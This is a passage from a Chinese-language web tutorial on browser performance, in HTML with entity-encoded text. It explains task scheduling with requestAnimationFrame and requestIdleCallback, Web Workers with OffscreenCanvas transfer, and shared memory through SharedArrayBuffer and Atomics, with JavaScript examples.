punctuation\">)</span>\n</code></pre>\n<p>&#x5BF9;&#x4E8E;&#x9700;&#x8981;&#x957F;&#x65F6;&#x95F4;&#x6267;&#x884C;&#x7684;&#x4EFB;&#x52A1;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C1D;&#x8BD5;&#x628A;&#x5B83;&#x62C6;&#x5206;&#x6210;&#x591A;&#x4E2A;&#x5C0F;&#x4EFB;&#x52A1;&#xFF0C;&#x7136;&#x540E;&#x901A;&#x8FC7; <code>requestAnimationFrame()</code> &#x8FDB;&#x884C;&#x8C03;&#x5EA6;&#xFF0C;&#x4EE5;&#x786E;&#x4FDD;&#x9875;&#x9762;&#x7684;&#x6D41;&#x7545;&#x6027;&#x3002;&#x4E0A;&#x6587;&#x63D0;&#x5230;&#x751F;&#x6210;&#x4E00;&#x5E27;&#x7684;&#x65F6;&#x95F4;&#x5E94;&#x8BE5;&#x5728; 10ms &#x5185;&#xFF0C;&#x6240;&#x4EE5;&#x4FDD;&#x5B88;&#x4F30;&#x8BA1;&#xFF0C;&#x5E27;&#x95F4;&#x4EFB;&#x52A1;&#x7684;&#x6267;&#x884C;&#x65F6;&#x95F4;&#x6700;&#x597D;&#x4E0D;&#x8981;&#x8D85;&#x8FC7; 3 ~ 4ms&#xFF0C;&#x901A;&#x5E38;&#x505A;&#x6CD5;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">scheduleWork</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">timestamp</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> currentTimestamp\n  <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>currentTimestamp <span class=\"token operator\">-</span> timestamp <span class=\"token operator\">&lt;</span> <span class=\"token number\">4</span> <span class=\"token operator\">&amp;&amp;</span> tasks<span class=\"token punctuation\">.</span>length <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">performWork</span><span class=\"token punctuation\">(</span>tasks<span class=\"token punctuation\">.</span><span class=\"token function\">pop</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    currentTimestamp <span class=\"token operator\">=</span> performance<span class=\"token punctuation\">.</span><span class=\"token function\">now</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  tasks<span class=\"token punctuation\">.</span>length <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token function\">requestAnimationFrame</span><span class=\"token punctuation\">(</span>scheduleWork<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"requestidlecallback\"><a name=\"requestidlecallback\" class=\"anchor-navigation-ex-anchor\" href=\"#requestidlecallback\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"requestidlecallback\" class=\"plugin-anchor\" href=\"#requestidlecallback\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>requestIdleCallback</h3>\n<p> <code>requestIdleCallback</code> &#x5141;&#x8BB8;&#x6211;&#x4EEC;&#x5C06;&#x4EFB;&#x52A1;&#x5B89;&#x6392;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x7A7A;&#x95F2;&#x65F6;&#x6267;&#x884C;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C06;&#x4E00;&#x4E9B;&#x4E0D;&#x592A;&#x91CD;&#x8981;&#x7684;&#x4EFB;&#x52A1;&#x63A8;&#x8FDF;&#xFF0C;&#x5982;&#x53D1;&#x9001;&#x65E5;&#x5FD7;&#x7B49;&#x3002;<code>requestIdleCallback</code> &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x63A5;&#x6536;&#x4E00;&#x4E2A;&#x53C2;&#x6570; <code>deadline</code>&#xFF0C;&#x5305;&#x542B; <code>timeRemaining()</code> &#x65B9;&#x6CD5;&#x548C; <code>didTimeout</code> &#x5C5E;&#x6027;&#x3002;<code>timeRemaining()</code> &#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x9AD8;&#x7CBE;&#x5EA6;&#x65F6;&#x95F4;&#x6233;&#xFF0C;&#x8868;&#x793A;&#x8FD8;&#x5269;&#x591A;&#x5C11;&#x65F6;&#x95F4;&#x6267;&#x884C;&#x4EFB;&#x52A1;&#x3002;&#x6211;&#x4EEC;&#x5728;&#x4E0A;&#x6587;&#x53CD;&#x590D;&#x63D0;&#x5230;&#xFF0C;&#x5E94;&#x8BE5;&#x5728; 50ms &#x5185;&#x5904;&#x7406;&#x4E8B;&#x4EF6;&#xFF0C;&#x8FD9;&#x5BF9;&#x4E8E; <code>requestIdleCallback</code> &#x6765;&#x8BF4;&#x4E5F;&#x662F;&#x4E00;&#x6837;&#x7684;&#xFF0C;&#x6240;&#x4EE5; <code>timeRemaining()</code> &#x7684;&#x521D;&#x59CB;&#x503C;&#x4E3A; 50ms&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">scheduleWork</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">deadline</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>deadline<span class=\"token punctuation\">.</span><span class=\"token function\">timeRemaining</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&gt;</span> <span class=\"token number\">5</span> <span class=\"token operator\">&amp;&amp;</span> tasks<span class=\"token punctuation\">.</span>length <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">performWork</span><span class=\"token punctuation\">(</span>tasks<span class=\"token punctuation\">.</span><span class=\"token function\">pop</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  tasks<span class=\"token punctuation\">.</span>length <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span> <span class=\"token operator\">&amp;&amp;</span> <span class=\"token function\">requestIdleCallback</span><span class=\"token punctuation\">(</span>scheduleWork<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">requestIdleCallback</span><span class=\"token punctuation\">(</span>scheduleWork<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x4E0E; <code>requestAnimationFrame</code> &#x4E2D;&#x7684;&#x4F8B;&#x5B50;&#x5341;&#x5206;&#x76F8;&#x4F3C;&#x3002;&#x5047;&#x8BBE;&#x6BCF;&#x4E2A;&#x4EFB;&#x52A1;&#x90FD;&#x80FD;&#x5728; 5ms &#x5185;&#x5B8C;&#x6210;&#xFF0C;&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x8BBE;&#x5B9A;&#xFF0C;&#x5F53;&#x5269;&#x4F59;&#x7A7A;&#x95F2;&#x65F6;&#x95F4;&#x5927;&#x4E8E; 5ms &#x65F6;&#xFF0C;&#x7EE7;&#x7EED;&#x5904;&#x7406;&#x5269;&#x4F59;&#x4EFB;&#x52A1;&#xFF0C;&#x5426;&#x5219;&#x5C31;&#x4F18;&#x5148;&#x786E;&#x4FDD;&#x9875;&#x9762;&#x80FD;&#x53CA;&#x65F6;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#xFF0C;&#x5E76;&#x5C06;&#x5269;&#x4F59;&#x7684;&#x4EFB;&#x52A1;&#x91CD;&#x65B0;&#x8C03;&#x5EA6;&#x3002;</p>\n<p>&#x7531;&#x4E8E;&#x6211;&#x4EEC;&#x5E76;&#x4E0D;&#x77E5;&#x9053;&#x6D4F;&#x89C8;&#x5668;&#x4F55;&#x65F6;&#x624D;&#x4F1A;&#x7A7A;&#x95F2;&#xFF0C;&#x56E0;&#x6B64; <code>requestIdleCallback</code> &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x6267;&#x884C;&#x65F6;&#x673A;&#x662F;&#x4E0D;&#x786E;&#x5B9A;&#x7684;&#x3002;&#x4F46;&#x5B83;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x8D85;&#x65F6;&#x673A;&#x5236;&#xFF0C;&#x80FD;&#x786E;&#x4FDD;&#x5728;&#x7B49;&#x5F85;&#x8D85;&#x65F6;&#x540E;&#x6267;&#x884C;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#xFF0C;&#x6B64;&#x65F6; <code>timeRemaining()</code> &#x4E3A; <code>0</code>&#xFF0C;&#x800C; <code>didTimeout</code> &#x4E3A; <code>true</code>&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">requestIdleCallback</span><span class=\"token punctuation\">(</span>scheduleWork<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>timeout<span class=\"token punctuation\">:</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0D;&#x8FC7;&#x6211;&#x4EEC;&#x6700;&#x597D;&#x4E0D;&#x8981;&#x6307;&#x5B9A;&#x8D85;&#x65F6;&#x65F6;&#x95F4;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x8FD8;&#x662F;&#x6709;&#x53EF;&#x80FD;&#x5BFC;&#x81F4;&#x9875;&#x9762;&#x65E0;&#x6CD5;&#x53CA;&#x65F6;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x3002;&#x53E6;&#x5916;&#xFF0C;&#x7531;&#x4E8E;&#x4E0D;&#x786E;&#x5B9A;&#x7684;&#x6267;&#x884C;&#x65F6;&#x673A;&#xFF0C;&#x6211;&#x4EEC;&#x7EDD;&#x4E0D;&#x5E94;&#x8BE5;&#x5728;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x91CC;&#x64CD;&#x4F5C; DOM&#xFF0C;&#x6216;&#x8FDB;&#x884C;&#x4EFB;&#x4F55;&#x6837;&#x5F0F;&#x53D8;&#x66F4;&#xFF0C;&#x800C;&#x5E94;&#x8BE5;&#x653E;&#x5728; <code>requestAnimationFrame</code> &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E2D;&#x6267;&#x884C;&#x3002;</p>\n<h3 id=\"web-workers\"><a name=\"web-workers\" class=\"anchor-navigation-ex-anchor\" href=\"#web-workers\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"web-workers\" class=\"plugin-anchor\" href=\"#web-workers\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Web Workers</h3>\n<p>&#x5BF9;&#x4E8E;&#x9700;&#x8981;&#x957F;&#x65F6;&#x95F4;&#x6267;&#x884C;&#x7684;&#x4EFB;&#x52A1;&#xFF0C;&#x53E6;&#x4E00;&#x4E2A;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x662F;&#x4F7F;&#x7528; Web Workers&#xFF0C;&#x5728;&#x7B2C;&#x56DB;&#x7AE0;&#x4ECB;&#x7ECD; Service Worker &#x7684;&#x65F6;&#x5019;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x77E5;&#x9053;&#xFF0C;Web Workers &#x662F;&#x72EC;&#x7ACB;&#x4E8E;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x72EC;&#x7ACB;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C06;&#x4E00;&#x4E9B;&#x8017;&#x6027;&#x80FD;&#x7684;&#x903B;&#x8F91;&#x653E;&#x5728; worker &#x7EBF;&#x7A0B;&#x4E2D;&#x8FDB;&#x884C;&#x5904;&#x7406;&#xFF0C;&#x8FD9;&#x6837;&#x4E3B;&#x7EBF;&#x7A0B;&#x5C31;&#x80FD;&#x7EE7;&#x7EED;&#x54CD;&#x5E94;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x548C;&#x6E32;&#x67D3;&#x9875;&#x9762;&#x4E86;&#x3002;&#x5728; Worker &#x7EBF;&#x7A0B;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x65E0;&#x6CD5;&#x8BBF;&#x95EE;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E2D;&#x7684; DOM &#x6216;&#x5176;&#x4ED6;&#x6570;&#x636E;&#xFF0C;&#x4EC5;&#x80FD;&#x901A;&#x8FC7; <code>postMessage()</code> &#x4E0E;&#x4E3B;&#x7EBF;&#x7A0B;&#x8FDB;&#x884C;&#x6570;&#x636E;&#x901A;&#x4FE1;&#x3002;&#x4E0B;&#x9762;&#x53EF;&#x4EE5;&#x770B;&#x4E00;&#x4E2A;&#x6700;&#x7B80;&#x5355;&#x7684; Web Workers &#x7684;&#x793A;&#x4F8B;&#xFF0C;&#x5047;&#x8BBE;&#x5B58;&#x5728;&#x4E00;&#x4E2A;&#x4E3B;&#x7EBF;&#x7A0B;&#x5165;&#x53E3; <code>main.js</code>&#xFF0C;&#x5176;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// main.js</span>\n<span class=\"token keyword\">const</span> worker <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Worker</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;worker.js&apos;</span><span class=\"token punctuation\">)</span>\n\nworker<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token comment\">// 3</span>\n\nworker<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;&#x901A;&#x8FC7; <code>new Worker(&apos;worker.js&apos;)</code> &#x7684;&#x65B9;&#x5F0F;&#x521D;&#x59CB;&#x5316;&#x4E86;&#x4E00;&#x4E2A; worker &#x7EBF;&#x7A0B;&#xFF0C;&#x548C; Service Worker &#x4E00;&#x6837;&#xFF0C;worker &#x7EBF;&#x7A0B;&#x6267;&#x884C;&#x7684;&#x903B;&#x8F91;&#x90FD;&#x4F1A;&#x5728; <code>worker.js</code> &#x4E2D;&#x5B9E;&#x73B0;&#xFF0C;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x5C55;&#x793A;&#x7684;&#x662F; <code>worker.js</code> &#x7684;&#x5185;&#x5BB9;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// worker.js</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>data<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> event\n  <span class=\"token keyword\">const</span> sum <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span>\n\n  self<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span>sum<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x51FA;&#x4E8E;&#x5B89;&#x5168;&#x8003;&#x8651;&#xFF0C;Chrome &#x4E0D;&#x652F;&#x6301;&#x901A;&#x8FC7; file &#x534F;&#x8BAE;&#x52A0;&#x8F7D; Web Worker&#xFF0C;&#x5982;&#x679C;&#x4F60;&#x60F3;&#x672C;&#x5730;&#x76F4;&#x63A5;&#x8FD0;&#x884C;&#x4EE3;&#x7801;&#xFF0C;&#x9700;&#x8981;&#x5728;&#x542F;&#x52A8; Chrome &#x65F6;&#x52A0;&#x4E0A;&#x53C2;&#x6570; --allow-file-access-from-files&#xFF0C;&#x6216;&#x8005;&#x4F60;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; FireFox &#x8FDB;&#x884C;&#x8C03;&#x8BD5;&#xFF0C;FireFox &#x76EE;&#x524D;&#x6CA1;&#x6709;&#x6B64;&#x9650;&#x5236;&#x3002;</p>\n</blockquote>\n<p>&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;&#x901A;&#x8FC7; Worker &#x7EBF;&#x7A0B;&#x8BA1;&#x7B97;&#x4E86; <code>1 + 2</code> &#x7684;&#x7ED3;&#x679C;&#x3002;&#x8FD9;&#x770B;&#x8D77;&#x6765;&#x6CA1;&#x4EC0;&#x4E48;&#x7528;&#xFF0C;&#x4F46;&#x5374;&#x63ED;&#x793A;&#x4E86; Web Workers &#x6700;&#x57FA;&#x672C;&#x7684;&#x7528;&#x6CD5;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x518D;&#x6765;&#x770B;&#x4E00;&#x4E9B;&#x7A0D;&#x5FAE;&#x590D;&#x6742;&#x4E00;&#x70B9;&#x7684;&#x4F8B;&#x5B50;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// main.js</span>\n<span class=\"token keyword\">const</span> canvas <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelector</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;canvas&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> offscreen <span class=\"token operator\">=</span> canvas<span class=\"token punctuation\">.</span><span class=\"token function\">transferControlToOffscreen</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> worker <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Worker</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;worker.js&apos;</span><span class=\"token punctuation\">)</span>\n\nworker<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>canvas<span class=\"token punctuation\">:</span> offscreen<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">[</span>offscreen<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// worker.js</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>canvas<span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> event\n  <span class=\"token keyword\">const</span> context <span class=\"token operator\">=</span> canvas<span class=\"token punctuation\">.</span><span class=\"token function\">getContext</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;2d&apos;</span><span class=\"token punctuation\">)</span>\n\n  <span class=\"token keyword\">function</span> <span class=\"token function\">render</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">time</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// ...</span>\n    self<span class=\"token punctuation\">.</span><span class=\"token function\">requestAnimationFrame</span><span class=\"token punctuation\">(</span>render<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">render</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x79BB;&#x5C4F; canvas &#x7684;&#x4F7F;&#x7528;&#x4F8B;&#x5B50;&#x3002;&#x6211;&#x4EEC;&#x628A;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E2D;&#x7684; canvas &#x79FB;&#x52A8;&#x5230;&#x4E86; Worker &#x7EBF;&#x7A0B;&#xFF0C;&#x5E76;&#x5728; Worker &#x7EBF;&#x7A0B;&#x4E2D;&#x8FDB;&#x884C; canvas &#x7684;&#x7ED8;&#x5236;&#x3002;&#x524D;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#x6CA1;&#x6709;&#x63D0;&#x5230;&#x7684;&#x7EC6;&#x8282;&#x662F;&#xFF0C;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E0E; Worker &#x7EBF;&#x7A0B;&#x4E4B;&#x95F4;&#xFF0C;&#x901A;&#x8FC7; <code>postMessage()</code> &#x4F20;&#x9012;&#x6570;&#x636E;&#x7684;&#x65B9;&#x5F0F;&#x662F;&#x201C;&#x7ED3;&#x6784;&#x5316;&#x514B;&#x9686;&#x201D;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x79CD;&#x7C7B;&#x4F3C;&#x6DF1;&#x62F7;&#x8D1D;&#x7684;&#x7B97;&#x6CD5;&#xFF0C;&#x7528;&#x4E8E;&#x62F7;&#x8D1D;&#x7ED3;&#x6784;&#x5316;&#x6570;&#x636E;&#x3002;&#x4F46;&#x662F;&#xFF0C;&#x76F4;&#x63A5;&#x62F7;&#x8D1D;&#x663E;&#x7136;&#x662F;&#x4F4E;&#x6548;&#x7684;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5728;&#x4F20;&#x9012;&#x8F83;&#x5927;&#x7684;&#x6570;&#x636E;&#x65F6;&#xFF0C;&#x6027;&#x80FD;&#x5F00;&#x9500;&#x4EE4;&#x4EBA;&#x96BE;&#x4EE5;&#x63A5;&#x53D7;&#x3002;&#x5E86;&#x5E78;&#x7684;&#x662F;&#xFF0C;&#x5B9E;&#x73B0; <code>Transferable</code> &#x63A5;&#x53E3;&#x7684;&#x5BF9;&#x8C61;&#xFF0C;&#x5982; <code>ArrayBuffer</code>&#x3001;<code>ImageBitmap</code> &#x548C; <code>OffscreenCanvas</code>&#xFF0C;&#x90FD;&#x652F;&#x6301;&#x79FB;&#x52A8;&#x8BED;&#x4E49;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5728; <code>postMessage()</code> &#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x4E2D;&#x58F0;&#x660E;&#x6570;&#x636E;&#x5E94;&#x8BE5;&#x79FB;&#x52A8;&#x5230; Worker &#x7EBF;&#x7A0B;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x62F7;&#x8D1D;&#x3002;&#x901A;&#x8FC7; <code>postMessage()</code> &#x79FB;&#x52A8;&#x540E;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x5728;&#x539F;&#x6765;&#x7684;&#x7EBF;&#x7A0B;&#x91CC;&#x5C31;&#x65E0;&#x6CD5;&#x8BFB;&#x53D6;&#x5230;&#x4E86;&#x3002;</p>\n<p>&#x6839;&#x636E;&#x8FC7;&#x5F80;&#x5E76;&#x53D1;&#x7F16;&#x7A0B;&#x7684;&#x7ECF;&#x9A8C;&#xFF0C;&#x6211;&#x4EEC;&#x5F88;&#x5BB9;&#x6613;&#x4F1A;&#x601D;&#x8003;&#x5982;&#x4F55;&#x5728; Web Workers &#x7684;&#x591A;&#x7EBF;&#x7A0B;&#x4E4B;&#x95F4;&#x5171;&#x4EAB;&#x5185;&#x5B58;&#x3002;<code>SharedArrayBuffer</code> &#x63D0;&#x4F9B;&#x4E86;&#x5171;&#x4EAB;&#x5185;&#x5B58;&#x7684;&#x673A;&#x5236;&#xFF0C;&#x5728;&#x901A;&#x8FC7; <code>postMessage()</code> &#x4F20;&#x9012;&#x6570;&#x636E;&#x65F6;&#xFF0C;&#x4E0D;&#x4F1A;&#x8FDB;&#x884C;&#x7ED3;&#x6784;&#x5316;&#x62F7;&#x8D1D;&#xFF0C;&#x800C;&#x662F;&#x5728;&#x7EBF;&#x7A0B;&#x95F4;&#x5171;&#x4EAB;&#x76F8;&#x540C;&#x7684;&#x5185;&#x5B58;&#x5757;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// main.js</span>\n<span class=\"token keyword\">const</span> worker <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Worker</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;worker.js&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> length <span class=\"token operator\">=</span> <span class=\"token number\">8</span>\n<span class=\"token keyword\">const</span> size <span class=\"token operator\">=</span> Int32Array<span class=\"token punctuation\">.</span><span class=\"token constant\">BYTES_PER_ELEMENT</span> <span class=\"token operator\">*</span> length\n<span class=\"token keyword\">const</span> sharedBuffer <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">SharedArrayBuffer</span><span class=\"token punctuation\">(</span>size<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> sharedArray <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Int32Array</span><span class=\"token punctuation\">(</span>sharedBuffer<span class=\"token punctuation\">)</span>\n\nworker<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span>sharedBuffer<span class=\"token punctuation\">)</span>\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// worker.js</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>data<span class=\"token punctuation\">:</span> sharedBuffer<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> event\n  <span class=\"token keyword\">const</span> sharedArray <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Int32Array</span><span class=\"token punctuation\">(</span>sharedBuffer<span class=\"token punctuation\">)</span>\n\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x663E;&#x7136;&#xFF0C;&#x5171;&#x4EAB;&#x5185;&#x5B58;&#x53EF;&#x80FD;&#x4F1A;&#x5F15;&#x53D1;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#x95EE;&#x9898;&#xFF0C;&#x5373;&#x4EE3;&#x7801;&#x5728;&#x591A;&#x7EBF;&#x7A0B;&#x73AF;&#x5883;&#x4E0B;&#xFF0C;&#x8FD0;&#x884C;&#x7ED3;&#x679C;&#x65E0;&#x6CD5;&#x9884;&#x6D4B;&#xFF0C;&#x4E14;&#x5F80;&#x5F80;&#x4E22;&#x5931;&#x4E86;&#x6B63;&#x786E;&#x6027;&#x3002;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x601D;&#x8DEF;&#x662F;&#xFF0C;&#x786E;&#x4FDD;&#x6570;&#x636E;&#x59CB;&#x7EC8;&#x53EA;&#x7531;&#x4E00;&#x4E2A;&#x7EBF;&#x7A0B;&#x6765;&#x5199;&#x5165;&#xFF0C;&#x800C;&#x5BF9;&#x4E8E;&#x5176;&#x4ED6;&#x7EBF;&#x7A0B;&#x662F;&#x53EA;&#x8BFB;&#x7684;&#xFF0C;&#x4F46;&#x8FD9;&#x6837;&#x5E76;&#x6CA1;&#x6709;&#x89E3;&#x51B3;&#x672C;&#x8D28;&#x95EE;&#x9898;&#x3002;&#x4E3A;&#x4E86;&#x786E;&#x4FDD;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#xFF0C;JavaScript &#x63D0;&#x4F9B;&#x4E86;&#x539F;&#x5B50;&#x64CD;&#x4F5C;&#x7C7B; <code>Atomics</code> &#xFF0C;&#x5305;&#x542B;&#x4E86;&#x8BFB;&#x53D6;&#x3001;&#x8D4B;&#x503C;&#x3001;&#x52A0;&#x51CF;&#x3001;&#x4F4D;&#x8FD0;&#x7B97;&#x7B49;&#x539F;&#x5B50;&#x64CD;&#x4F5C;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\">sharedArray<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span 